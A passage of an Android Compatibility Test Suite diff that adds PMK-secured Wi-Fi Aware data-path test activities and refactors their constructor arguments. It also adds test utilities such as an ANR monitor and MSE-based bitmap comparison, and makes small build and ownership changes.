+ * Test activity for data-path, open, active subscribe
*/
public class DataPathOpenActiveSubscribeTestActivity extends BaseTestActivity {
@Override
protected BaseTestCase getTestCase(Context context) {
- return new DataPathInBandTestCase(context, true, false, false);
+ return new DataPathInBandTestCase(context, /* isSecurityOpen */ true, /* isPublish */ false,
+ /* isUnsolicited */ false, /* usePmk */ false);
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenPassiveSubscribeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenPassiveSubscribeTestActivity.java
index 08d9d78..78562ac 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenPassiveSubscribeTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenPassiveSubscribeTestActivity.java
@@ -26,6 +26,7 @@
public class DataPathOpenPassiveSubscribeTestActivity extends BaseTestActivity {
@Override
protected BaseTestCase getTestCase(Context context) {
- return new DataPathInBandTestCase(context, true, false, true);
+ return new DataPathInBandTestCase(context, /* isSecurityOpen */ true, /* isPublish */ false,
+ /* isUnsolicited */ true, /* usePmk */ false);
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenSolicitedPublishTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenSolicitedPublishTestActivity.java
index 154dcfe..c3007b5 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenSolicitedPublishTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenSolicitedPublishTestActivity.java
@@ -23,12 +23,13 @@
import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
/**
- * Test activity for data-path, open, unsolicited publish
+ * Test activity for data-path, open, solicited publish
*/
public class DataPathOpenSolicitedPublishTestActivity extends BaseTestActivity {
@Override
protected BaseTestCase getTestCase(Context context) {
- return new DataPathInBandTestCase(context, true, true, false);
+ return new DataPathInBandTestCase(context, /* isSecurityOpen */ true, /* isPublish */ true,
+ /* isUnsolicited */ false, /* usePmk */ false);
}
@Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenUnsolicitedPublishTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenUnsolicitedPublishTestActivity.java
index 253bad9..6c49635 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenUnsolicitedPublishTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenUnsolicitedPublishTestActivity.java
@@ -28,7 +28,8 @@
public class DataPathOpenUnsolicitedPublishTestActivity extends BaseTestActivity {
@Override
protected BaseTestCase getTestCase(Context context) {
- return new DataPathInBandTestCase(context, true, true, true);
+ return new DataPathInBandTestCase(context, /* isSecurityOpen */ true, /* isPublish */ true,
+ /* isUnsolicited */ true, /* usePmk */ false);
}
@Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseActiveSubscribeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseActiveSubscribeTestActivity.java
index c8ef3ea..a8205a8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseActiveSubscribeTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseActiveSubscribeTestActivity.java
@@ -21,11 +21,12 @@
import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
/**
- * Test activity for data-path, open, passive subscribe
+ * Test activity for data-path, passphrase, active subscribe
*/
public class DataPathPassphraseActiveSubscribeTestActivity extends BaseTestActivity {
@Override
protected BaseTestCase getTestCase(Context context) {
- return new DataPathInBandTestCase(context, false, false, false);
+ return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
+ /* isPublish */ false, /* isUnsolicited */ false, /* usePmk */ false);
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphrasePassiveSubscribeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphrasePassiveSubscribeTestActivity.java
index ff40e03..d8d9a3f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphrasePassiveSubscribeTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphrasePassiveSubscribeTestActivity.java
@@ -21,11 +21,12 @@
import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
/**
- * Test activity for data-path, open, passive subscribe
+ * Test activity for data-path, passphrase, passive subscribe
*/
public class DataPathPassphrasePassiveSubscribeTestActivity extends BaseTestActivity {
@Override
protected BaseTestCase getTestCase(Context context) {
- return new DataPathInBandTestCase(context, false, false, true);
+ return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
+ /* isPublish */ false, /* isUnsolicited */ true, /* usePmk */ false);
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseSolicitedPublishTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseSolicitedPublishTestActivity.java
index dcde6ff..e820428 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseSolicitedPublishTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseSolicitedPublishTestActivity.java
@@ -23,12 +23,13 @@
import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
/**
- * Test activity for data-path, open, unsolicited publish
+ * Test activity for data-path, passphrase, solicited publish
*/
public class DataPathPassphraseSolicitedPublishTestActivity extends BaseTestActivity {
@Override
protected BaseTestCase getTestCase(Context context) {
- return new DataPathInBandTestCase(context, false, true, false);
+ return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
+ /* isPublish */ true, /* isUnsolicited */ false, /* usePmk */ false);
}
@Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseUnsolicitedPublishTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseUnsolicitedPublishTestActivity.java
index 7a25bb4..ab17432 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseUnsolicitedPublishTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseUnsolicitedPublishTestActivity.java
@@ -23,12 +23,13 @@
import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
/**
- * Test activity for data-path, open, unsolicited publish
+ * Test activity for data-path, passphrase, unsolicited publish
*/
public class DataPathPassphraseUnsolicitedPublishTestActivity extends BaseTestActivity {
@Override
protected BaseTestCase getTestCase(Context context) {
- return new DataPathInBandTestCase(context, false, true, true);
+ return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
+ /* isPublish */ true, /* isUnsolicited */ true, /* usePmk */ false);
}
@Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkActiveSubscribeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkActiveSubscribeTestActivity.java
new file mode 100644
index 0000000..1eb27a8
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkActiveSubscribeTestActivity.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, PMK, active subscribe
+ */
+public class DataPathPmkActiveSubscribeTestActivity extends BaseTestActivity {
+ @Override
+ protected BaseTestCase getTestCase(Context context) {
+ return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
+ /* isPublish */ false, /* isUnsolicited */ false, /* usePmk */ true);
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkPassiveSubscribeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkPassiveSubscribeTestActivity.java
new file mode 100644
index 0000000..255877f
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkPassiveSubscribeTestActivity.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, PMK, passive subscribe
+ */
+public class DataPathPmkPassiveSubscribeTestActivity extends BaseTestActivity {
+ @Override
+ protected BaseTestCase getTestCase(Context context) {
+ return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
+ /* isPublish */ false, /* isUnsolicited */ true, /* usePmk */ true);
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkSolicitedPublishTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkSolicitedPublishTestActivity.java
new file mode 100644
index 0000000..d6678eb
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkSolicitedPublishTestActivity.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, PMK, solicited publish
+ */
+public class DataPathPmkSolicitedPublishTestActivity extends BaseTestActivity {
+ @Override
+ protected BaseTestCase getTestCase(Context context) {
+ return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
+ /* isPublish */ true, /* isUnsolicited */ false, /* usePmk */ true);
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setInfoResources(R.string.aware_data_path_pmk_solicited_publish,
+ R.string.aware_data_path_pmk_solicited_publish_info, 0);
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkUnsolicitedPublishTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkUnsolicitedPublishTestActivity.java
new file mode 100644
index 0000000..8cfc1f9
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkUnsolicitedPublishTestActivity.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, PMK, unsolicited publish
+ */
+public class DataPathPmkUnsolicitedPublishTestActivity extends BaseTestActivity {
+ @Override
+ protected BaseTestCase getTestCase(Context context) {
+ return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
+ /* isPublish */ true, /* isUnsolicited */ true, /* usePmk */ true);
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setInfoResources(R.string.aware_data_path_pmk_unsolicited_publish,
+ R.string.aware_data_path_pmk_unsolicited_publish_info, 0);
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/TestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/TestListActivity.java
index 4e88565..2c6a895 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/TestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/TestListActivity.java
@@ -85,6 +85,16 @@
DataPathPassphrasePassiveSubscribeTestActivity.class.getName(),
new Intent(this, DataPathPassphrasePassiveSubscribeTestActivity.class), null));
adapter.add(TestListAdapter.TestListItem.newCategory(this,
+ R.string.aware_dp_ib_pmk_unsolicited));
+ adapter.add(TestListAdapter.TestListItem.newTest(this,
+ R.string.aware_publish,
+ DataPathPmkUnsolicitedPublishTestActivity.class.getName(),
+ new Intent(this, DataPathPmkUnsolicitedPublishTestActivity.class), null));
+ adapter.add(TestListAdapter.TestListItem.newTest(this,
+ R.string.aware_subscribe,
+ DataPathPmkPassiveSubscribeTestActivity.class.getName(),
+ new Intent(this, DataPathPmkPassiveSubscribeTestActivity.class), null));
+ adapter.add(TestListAdapter.TestListItem.newCategory(this,
R.string.aware_dp_ib_open_solicited));
adapter.add(TestListAdapter.TestListItem.newTest(this,
R.string.aware_publish,
@@ -105,6 +115,16 @@
DataPathPassphraseActiveSubscribeTestActivity.class.getName(),
new Intent(this, DataPathPassphraseActiveSubscribeTestActivity.class), null));
adapter.add(TestListAdapter.TestListItem.newCategory(this,
+ R.string.aware_dp_ib_pmk_solicited));
+ adapter.add(TestListAdapter.TestListItem.newTest(this,
+ R.string.aware_publish,
+ DataPathPmkSolicitedPublishTestActivity.class.getName(),
+ new Intent(this, DataPathPmkSolicitedPublishTestActivity.class), null));
+ adapter.add(TestListAdapter.TestListItem.newTest(this,
+ R.string.aware_subscribe,
+ DataPathPmkActiveSubscribeTestActivity.class.getName(),
+ new Intent(this, DataPathPmkActiveSubscribeTestActivity.class), null));
+ adapter.add(TestListAdapter.TestListItem.newCategory(this,
R.string.aware_dp_oob_open));
adapter.add(TestListAdapter.TestListItem.newTest(this,
R.string.aware_responder,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathInBandTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathInBandTestCase.java
index 26b0978..142211c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathInBandTestCase.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathInBandTestCase.java
@@ -78,11 +78,13 @@
private static final byte[] MSG_PUB_TO_SUB = "Ready".getBytes();
private static final String PASSPHRASE = "Some super secret password";
+ private static final byte[] PMK = "01234567890123456789012345678901".getBytes();
private static final byte[] MSG_CLIENT_TO_SERVER = "GET SOME BYTES".getBytes();
private static final byte[] MSG_SERVER_TO_CLIENT = "PUT SOME OTHER BYTES".getBytes();
private boolean mIsSecurityOpen;
+ private boolean mUsePmk;
private boolean mIsPublish;
private Thread mClientServerThread;
private ConnectivityManager mCm;
@@ -91,10 +93,11 @@
private static int sSDKLevel = android.os.Build.VERSION.SDK_INT;
public DataPathInBandTestCase(Context context, boolean isSecurityOpen, boolean isPublish,
- boolean isUnsolicited) {
+ boolean isUnsolicited, boolean usePmk) {
super(context, isUnsolicited, false);
mIsSecurityOpen = isSecurityOpen;
+ mUsePmk = usePmk;
mIsPublish = isPublish;
}
@@ -170,7 +173,11 @@
WifiAwareNetworkSpecifier.Builder nsBuilder =
new WifiAwareNetworkSpecifier.Builder(mWifiAwareDiscoverySession, mPeerHandle);
if (!mIsSecurityOpen) {
- nsBuilder.setPskPassphrase(PASSPHRASE);
+ if (mUsePmk) {
+ nsBuilder.setPmk(PMK);
+ } else {
+ nsBuilder.setPskPassphrase(PASSPHRASE);
+ }
}
NetworkRequest nr = new NetworkRequest.Builder().addTransportType(
NetworkCapabilities.TRANSPORT_WIFI_AWARE).setNetworkSpecifier(
@@ -359,8 +366,12 @@
WifiAwareNetworkSpecifier.Builder nsBuilder =
new WifiAwareNetworkSpecifier.Builder(mWifiAwareDiscoverySession, mPeerHandle);
if (!mIsSecurityOpen) {
- nsBuilder.setPskPassphrase(PASSPHRASE).setPort(port).setTransportProtocol(
- 6); // 6 == TCP
+ if (mUsePmk) {
+ nsBuilder.setPmk(PMK);
+ } else {
+ nsBuilder.setPskPassphrase(PASSPHRASE);
+ }
+ nsBuilder.setPort(port).setTransportProtocol(6); // 6 == TCP
}
NetworkRequest nr = new NetworkRequest.Builder().addTransportType(
NetworkCapabilities.TRANSPORT_WIFI_AWARE).setNetworkSpecifier(
diff --git a/apps/PermissionApp/AndroidManifest.xml b/apps/PermissionApp/AndroidManifest.xml
index be43556..4efd277 100644
--- a/apps/PermissionApp/AndroidManifest.xml
+++ b/apps/PermissionApp/AndroidManifest.xml
@@ -38,6 +38,7 @@
<uses-permission android:name="com.android.cts.permissionapp.permA"/>
<uses-permission android:name="com.android.cts.permissionapp.permB"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
+ <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
<application android:label="CtsPermissionApp"
diff --git a/common/device-side/test-app/Android.bp b/common/device-side/test-app/Android.bp
index 14e711a..74f549d 100644
--- a/common/device-side/test-app/Android.bp
+++ b/common/device-side/test-app/Android.bp
@@ -30,7 +30,7 @@
"compatibility-common-util-devicesidelib",
"compatibility-device-info-tests",
"compatibility-device-info",
- "compatibility-device-util-tests",
+ "compatibility-device-util-tests-axt",
"compatibility-device-util-axt",
],
diff --git a/common/device-side/util-axt/Android.bp b/common/device-side/util-axt/Android.bp
index fe2b1b7..169184a 100644
--- a/common/device-side/util-axt/Android.bp
+++ b/common/device-side/util-axt/Android.bp
@@ -12,14 +12,13 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-// temporary compatibility-device-util variant that brings in androidx.test transitively, instead
-// of android.support.test target. Will be removed after androidx.test CTS conversion is complete.
java_library_static {
name: "compatibility-device-util-axt",
sdk_version: "test_current",
srcs: [
"src/**/*.java",
+ "src/**/*.kt",
"src/**/*.aidl",
],
diff --git a/common/device-side/util-axt/OWNERS b/common/device-side/util-axt/OWNERS
index b61fd53..55fc077 100644
--- a/common/device-side/util-axt/OWNERS
+++ b/common/device-side/util-axt/OWNERS
@@ -1,2 +1,2 @@
-per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, aaronholden@google.com, yuji@google.com, nickrose@google.com, felipeal@google.com
+per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, aaronholden@google.com, yuji@google.com, nickrose@google.com, felipeal@google.com, eugenesusla@google.com, svetoslavganov@google.com
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/AnrMonitor.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/AnrMonitor.java
new file mode 100644
index 0000000..37c71d1
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/AnrMonitor.java
@@ -0,0 +1,155 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.app.Instrumentation;
+import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
+import android.text.TextUtils;
+import android.util.Log;
+
+import java.io.BufferedOutputStream;
+import java.io.BufferedReader;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.InputStreamReader;
+import java.io.IOException;
+import java.io.PrintWriter;
+import java.util.ArrayList;
+
+/**
+ * A utility class interact with "am monitor"
+ */
+public final class AnrMonitor {
+ private static final String TAG = "AnrMonitor";
+ private static final String WAIT_FOR_ANR = "Waiting after early ANR... available commands:";
+
+ /**
+ * Command for the {@link #sendCommand}: continue the process
+ */
+ public static final String CMD_CONTINUE = "k";
+
+ /**
+ * Command for the {@link #sendCommand}: kill the process
+ */
+ public static final String CMD_KILL = "k";
+
+ /**
+ * Command for the {@link #sendCommand}: quit the monitor
+ */
+ public static final String CMD_QUIT = "q";
+
+ private final Instrumentation mInstrumentation;
+ private final ParcelFileDescriptor mReadFd;
+ private final FileInputStream mReadStream;
+ private final BufferedReader mReadReader;
+ private final ParcelFileDescriptor mWriteFd;
+ private final FileOutputStream mWriteStream;
+ private final PrintWriter mWritePrinter;
+ private final Thread mReaderThread;
+
+ private final ArrayList<String> mPendingLines = new ArrayList<>();
+
+ /**
+ * Construct an instance of this class.
+ */
+ public AnrMonitor(final Instrumentation instrumentation) {
+ mInstrumentation = instrumentation;
+ ParcelFileDescriptor[] pfds = instrumentation.getUiAutomation()
+ .executeShellCommandRw("am monitor");
+ mReadFd = pfds[0];
+ mReadStream = new ParcelFileDescriptor.AutoCloseInputStream(mReadFd);
+ mReadReader = new BufferedReader(new InputStreamReader(mReadStream));
+ mWriteFd = pfds[1];
+ mWriteStream = new ParcelFileDescriptor.AutoCloseOutputStream(mWriteFd);
+ mWritePrinter = new PrintWriter(new BufferedOutputStream(mWriteStream));
+ mReaderThread = new ReaderThread();
+ mReaderThread.start();
+ }
+
+ /**
+ * Wait for the ANR.
+ *
+ * @return true if it was successful, false if it got a timeout.
+ */
+ public boolean waitFor(final long timeout) {
+ final String expected = WAIT_FOR_ANR;
+ final long waitUntil = SystemClock.uptimeMillis() + timeout;
+ synchronized (mPendingLines) {
+ while (true) {
+ while (mPendingLines.size() == 0) {
+ final long now = SystemClock.uptimeMillis();
+ if (now >= waitUntil) {
+ Log.d(TAG, "Timed out waiting for next line: expected=" + expected);
+ return false;
+ }
+ try {
+ mPendingLines.wait(waitUntil - now);
+ } catch (InterruptedException e) {
+ }
+ }
+ final String line = mPendingLines.remove(0);
+ if (TextUtils.equals(line, expected)) {
+ return true;
+ }
+ }
+ }
+ }
+
+ /**
+ * Finish the monitor and close the streams.
+ */
+ public void finish() {
+ sendCommand(CMD_QUIT);
+ try {
+ mWriteStream.close();
+ } catch (IOException e) {
+ }
+ try {
+ mReadStream.close();
+ } catch (IOException e) {
+ }
+ }
+
+ /**
+ * Send the command to the interactive command.
+ *
+ * @param cmd could be {@link #CMD_KILL}, {@link #CMD_QUIT} or {@link #CMD_CONTINUE}.
+ */
+ public void sendCommand(final String cmd) {
+ mWritePrinter.println(cmd);
+ mWritePrinter.flush();
+ }
+
+ private final class ReaderThread extends Thread {
+ @Override
+ public void run() {
+ try {
+ String line;
+ while ((line = mReadReader.readLine()) != null) {
+ Log.i(TAG, "debug: " + line);
+ synchronized (mPendingLines) {
+ mPendingLines.add(line);
+ mPendingLines.notifyAll();
+ }
+ }
+ } catch (IOException e) {
+ Log.w(TAG, "Failed reading", e);
+ }
+ }
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BitmapUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BitmapUtils.java
index 88753b1..d1fb166 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BitmapUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BitmapUtils.java
@@ -16,6 +16,8 @@
package com.android.compatibility.common.util;
+import static org.junit.Assert.assertTrue;
+
import android.app.WallpaperManager;
import android.content.Context;
import android.graphics.Bitmap;
@@ -56,6 +58,14 @@
+ "bmp2=(" + bmp2.getWidth() + "x" + bmp2.getHeight() + ")");
return Boolean.FALSE;
}
+
+ if (bmp1.getConfig() != bmp2.getConfig()) {
+ Log.d(TAG, "compareBitmaps() failed because configs don't match "
+ + "bmp1=(" + bmp1.getConfig() + "), "
+ + "bmp2=(" + bmp2.getConfig() + ")");
+ return Boolean.FALSE;
+ }
+
return null;
}
@@ -177,4 +187,78 @@
e.printStackTrace();
}
}
+
+ // Compare expected to actual to see if their diff is less than mseMargin.
+ // lessThanMargin is to indicate whether we expect the diff to be
+ // "less than" or "no less than".
+ public static boolean compareBitmapsMse(Bitmap expected, Bitmap actual,
+ int mseMargin, boolean lessThanMargin, boolean isPremultiplied) {
+ final Boolean basicComparison = compareBasicBitmapsInfo(expected, actual);
+ if (basicComparison != null) return basicComparison.booleanValue();
+
+ double mse = 0;
+ int width = expected.getWidth();
+ int height = expected.getHeight();
+
+ // Bitmap.getPixels() returns colors with non-premultiplied ARGB values.
+ int[] expColors = new int [width * height];
+ expected.getPixels(expColors, 0, width, 0, 0, width, height);
+
+ int[] actualColors = new int [width * height];
+ actual.getPixels(actualColors, 0, width, 0, 0, width, height);
+
+ for (int row = 0; row < height; ++row) {
+ for (int col = 0; col < width; ++col) {
+ int idx = row * width + col;
+ mse += distance(expColors[idx], actualColors[idx], isPremultiplied);
+ }
+ }
+ mse /= width * height;
+
+ Log.i(TAG, "MSE: " + mse);
+ if (lessThanMargin) {
+ if (mse > mseMargin) {
+ Log.d(TAG, "MSE too large for normal case: " + mse);
+ return false;
+ }
+ return true;
+ } else {
+ if (mse <= mseMargin) {
+ Log.d(TAG, "MSE too small for abnormal case: " + mse);
+ return false;
+ }
+ return true;
+ }
+ }
+
+ // Same as above, but asserts compareBitmapsMse's return value.
+ public static void assertBitmapsMse(Bitmap expected, Bitmap actual,
+ int mseMargin, boolean lessThanMargin, boolean isPremultiplied) {
+ assertTrue(compareBitmapsMse(expected, actual, mseMargin, lessThanMargin, isPremultiplied));
+ }
+
+ private static int multiplyAlpha(int color, int alpha) {
+ return (color * alpha + 127) / 255;
+ }
+
+ // For the Bitmap with Alpha, multiply the Alpha values to get the effective
+ // RGB colors and then compute the color-distance.
+ private static double distance(int expect, int actual, boolean isPremultiplied) {
+ if (isPremultiplied) {
+ final int a1 = Color.alpha(actual);
+ final int a2 = Color.alpha(expect);
+ final int r = multiplyAlpha(Color.red(actual), a1) -
+ multiplyAlpha(Color.red(expect), a2);
+ final int g = multiplyAlpha(Color.green(actual), a1) -
+ multiplyAlpha(Color.green(expect), a2);
+ final int b = multiplyAlpha(Color.blue(actual), a1) -
+ multiplyAlpha(Color.blue(expect), a2);
+ return r * r + g * g + b * b;
+ } else {
+ int r = Color.red(actual) - Color.red(expect);
+ int g = Color.green(actual) - Color.green(expect);
+ int b = Color.blue(actual) - Color.blue(expect);
+ return r * r + g * g + b * b;
+ }
+ }
}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateManager.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateManager.java
index 040641c..6875ae1 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateManager.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateManager.java
@@ -26,8 +26,7 @@
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
-import com.google.common.base.Preconditions;
-
+import java.util.Objects;
import java.util.concurrent.atomic.AtomicReference;
/**
@@ -52,9 +51,9 @@
@NonNull String key) {
debug("DeviceConfigStateManager", "namespace=%s, key=%s", namespace, key);
- mContext = Preconditions.checkNotNull(context);
- mNamespace = Preconditions.checkNotNull(namespace);
- mKey = Preconditions.checkNotNull(key);
+ mContext = Objects.requireNonNull(context);
+ mNamespace = Objects.requireNonNull(namespace);
+ mKey = Objects.requireNonNull(key);
}
@Override
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ExceptionUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ExceptionUtils.java
new file mode 100644
index 0000000..0899966
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ExceptionUtils.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
